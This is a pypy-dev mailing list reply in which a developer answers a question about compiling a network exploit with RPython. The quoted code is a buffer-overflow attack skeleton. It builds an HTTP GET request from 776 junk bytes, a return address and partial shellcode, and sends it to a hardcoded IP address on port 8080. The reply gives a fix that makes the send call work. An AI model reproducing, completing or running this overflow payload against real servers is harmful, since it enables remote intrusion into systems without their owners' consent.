[pypy-dev] pypy rsocket problem

[Philip Jenvey]

On Feb 4, 2012, at 7:18 PM, Andrew Evans wrote:

> Hello I started developing a small exploit framework in Python about a year ago. I will be honest I did not get very far due to lack of commitment. But I wish to start on this project again, my idea is simple I want to write this in PyPy using RPython and be able to compile the exploits into executables. 
> 
> So far with help from this mailing list I have been able to compile local_exploits (ones that do not take advantage of any networking) and I am now working towards developing a network based one as a trial. I like to test the water before I jump in
> 
> However I am having troubles compiling this one and am unsure how to diagnose any errors and would appreciate any advice any of you have to offer.
> 
> Below is my code
> 
> I removed the shell code if you wish me to post all of it please respond with that
> 
> from pypy.rlib import rsocket
> from pypy.rpython.lltypesystem import lltype
> from pypy.rpython.lltypesystem import rffi
> 
> def main(argv):
>     PORT = 8080
>     JUNK = "A"
>     ret = "\x67\x42\xa7\x71"
>     mycode = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49")
> 
>     request = "GET /"
>     for i in range(776):
>         request = request + JUNK
>     request = request + ret
>     request = request + mycode
>     request = request + " HTTP/1.1"
>     request = request + "\r\n"
>     ptr = rffi.str2charp(mycode)  # returns a "char*" pointer
>     print ptr
>     print len(request)
>     s = rsocket.RSocket(rsocket.AF_INET, rsocket.SOCK_STREAM)
>     target = rsocket.INETAddress("85.25.149.220", 8080)
>     s.connect(target)
>     s.send((ptr, len(request), 0))

I'm not sure what you're doing with 'ptr' here but it seems like you just want s.send(request, 0) instead

>     return 0
>    
> def target(*args):
>     return main, None
> 
> 
> *cheers
> 
> 
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--
Philip Jenvey